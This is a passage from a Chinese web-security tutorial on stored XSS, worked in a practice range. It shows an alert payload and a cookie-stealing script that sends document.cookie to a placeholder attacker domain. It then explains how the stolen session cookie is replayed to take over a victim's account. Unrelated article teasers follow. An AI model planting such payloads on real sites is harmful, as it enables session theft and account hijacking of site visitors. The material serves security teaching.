Web渗透测试之XSS攻击：存储型XSS_存储型xss攻击实验-程序员宅基地

文章目录

前言

在了解了反射型XSS相关方面的内容之后，本篇我们将继续深入了解存储型XSS，笔者将通过具体的例子讲解存储型XSS攻击的具体流程与危害。

存储型XSS

在之前的博客中我们提到过，存储型XSS是被包含在之后的HTTP请求响应中的，并且由于存储型XSS是伴随于留言评论等功能存在的，因此存储型XSS能够跟随留言内容一同被存入服务器，并且可以持续发挥作用。我们先来看一个简单的存储型XSS的例子。

最简单的存储型XSS

我们先在靶场题目提供的评论栏中写入一个最简单的XSS：< script>alert(1)< /script>：
在评论栏中写入XSS
提交后再次访问该页面发现有弹窗且弹窗内容为1，表明我们写入的XSS已经随评论一起被存进服务器：
提交留言后再次访问该页面
接着查看网页源码：

可以看到我们写入的XSS已经被嵌入到网页中，之后只要有用户浏览该网页就会触发我们写入的XSS。

利用存储型XSS获得cookie

原理与上篇反射型XSS中用到的类似，都是借助DNSlog的方式来获得cookie。在评论框写入如下脚本：
< script src=“http://xxx/”+document.cookie>< /script>
　　当该脚本成功嵌入网页源码中时就会触发浏览器执行该XSS，而我们只需查看DNS日志即可获得受害用户的cookie，接着抓包后将cookie替换为受害用户的cookie即可登录受害用户的账号。

总结

与反射型XSS不同，由于存储型XSS可以随评论等一同存入服务器，因此可以被持续触发利用。而在获得cookie这块二者原理大致相当，都是将cookie拼接到受攻击者控制的域名中，然后通过查看DNS日志的方式获得cookie，最后修改请求包中的cookie达到冒充受害用户的目的。

本文链接：https://blog.csdn.net/vodkaDL/article/details/111464862

原作者删帖不实内容删帖广告或垃圾文章投诉

智能推荐

可狱可囚的爬虫系列课程 07：BeautifulSoup4（bs4）库的使用_beautifulsoup4库获取br-程序员宅基地

文章浏览阅读1.5k次，点赞21次，收藏18次。BeautifulSoup4 属于 BeautifulSoup 系列的第四代版本，BeautifulSoup 是一个可以从 HTML 或 XML 文件中提取数据的 Python 库，这个库能够实现树文档的导航、查找，从而帮助我们提取到网页中所需要的数据。。如果忘记了在哪里安装，请回看 Requests 模块第一篇文章。安装好以后，我们围绕数据提取这个话题对 BeautifulSoup4 进行剖析。"""# 问题一：使用标签选择器获取源代码中所有的 p 标签。_beautifulsoup4库获取br

rpm包及作用_cannot install both libpng-2:1.5.13-8.el7.x86_64 a-程序员宅基地

文章浏览阅读1.9k次。基于Red Hat Enterprise Linux Server release 7.4 (Maipo)最小化安装将会慢慢补齐每个包的作用：1 bash-completion-2.1-6.el7.noarch https://cbs.centos.org/koji/rpminfo?rpmID=4260 2 grubby-8.28-23.el7.x86_64 ..._cannot install both libpng-2:1.5.13-8.el7.x86_64 and libpng-2:1.6.37-1.ky10.

vxworks的RTP学习_vxworks rtp-程序员宅基地

文章浏览阅读2.1k次。这里写自定义目录标题欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题，有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能，丰富你的文章UML 图表FLowchart流程图导出与导入导出导入欢迎使用Ma..._vxworks rtp

用户层与驱动通信-程序员宅基地

文章浏览阅读185次。以进行加法和减法为例,用户层将要进行的操作码和参数,返回缓冲发给驱动,驱动进行处理并将结果写到返回缓冲中driver.c//_stdcall#include<ntddk.h>#include<ntstrsafe.h>#pragma code_seg("INT")#define SynLinkName L"\\??\\freesec_tx..._pirpstack->majorfunction

Android Framework 分析-程序员宅基地

文章浏览阅读91次。http://raymond1860.spaces.live.com/Blog/cns!BF47B6FD104579C9!797.entry1.目录树/framework/base/api/framework/base/awt/framework/base/build/framework/base/camera关于camera的HAL接口库。最终生成native共享库l..._android framework cmds 开发

springboot+mysql互联网互联网美食分享平台源码53102-程序员宅基地

文章浏览阅读82次。免费领取项目源码，请关注●点赞收藏并私信博主，谢谢-、互联网美食分享平台采用Java技术，Mysql数据库存储数据，基于Springboot框架开发。系统采用了模块化设计方法，根据用户的需求开发功能模块，方便了程序扩展维护，以便后期的更新。整个开发过程首先对系统进行需求分析，得出系统主要功能模块。接着对系统进行总体设计和详细设计。最后对系统进行了功能测试，并对测试结果进行了分析总结，得出系统的不足及需要改进的地方，为以后的系统维护提供了方便，同时也为以后开发类似系统提供了借鉴和帮助。